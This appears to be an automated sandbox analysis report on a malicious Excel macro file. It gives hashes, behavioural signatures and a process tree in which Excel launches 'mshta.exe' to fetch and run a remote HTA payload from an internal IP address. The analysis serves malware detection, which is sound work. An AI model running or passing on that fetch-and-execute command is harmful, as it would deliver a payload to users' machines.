Analysis
-
max time kernel
143s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21/08/2024, 11:37
Behavioral task
behavioral1
Sample
b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm
Resource
win10v2004-20240802-en
General
-
Target
b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm
-
Size
11KB
-
MD5
b34e9ead07368f3671ccb2b4764ffe3a
-
SHA1
54c1fd55b70a33af7187cc262969750f4e353850
-
SHA256
7d1928b33d2ecd7ad4b5abcaedcc921e12d293a60add778db4bee66f68886524
-
SHA512
88b0030b95011d8529220231d0f59195fc13c5b6501542de690f4ce6f03142e067247be6a495b6ba981c1e8f6d6753d795d62778ad460c255099d09d1907760c
-
SSDEEP
192:He8uJDU7tqtatyPF7XsjgJq0qF9tJ6+TT9SvN1ajw68q:He8sDU7t+PFu0c9tJPHQl1aoq
Malware Config
Extracted
http://10.50.19.8:8080/credit_excel.hta
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4980 3216 mshta.exe 83 -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3216 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE 3216 EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3216 wrote to memory of 4980 3216 EXCEL.EXE 86 PID 3216 wrote to memory of 4980 3216 EXCEL.EXE 86
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b34e9ead07368f3671ccb2b4764ffe3a_JaffaCakes118.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Windows\SYSTEM32\mshta.exemshta.exe http://10.50.19.8:8080/credit_excel.hta2⤵
- Process spawned unexpected child process
PID:4980
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD54abe4f2ef7286b9100adb134d90731f0
SHA14dca9fdb5b9f55a66892ac11a5a9d78937e76a33
SHA256a9fd0cca5a2a24d2cba2e8eea9d2d460846a1e01cedfa188e813f2ba213c9c0c
SHA5123b07406a3e73a778989c55505661325d5067ced03ebb18f52dbbb7adf864975a492c37ef0306f972409f1f1f78bdfe807a92298263c6ad1f25f3aff572fb4240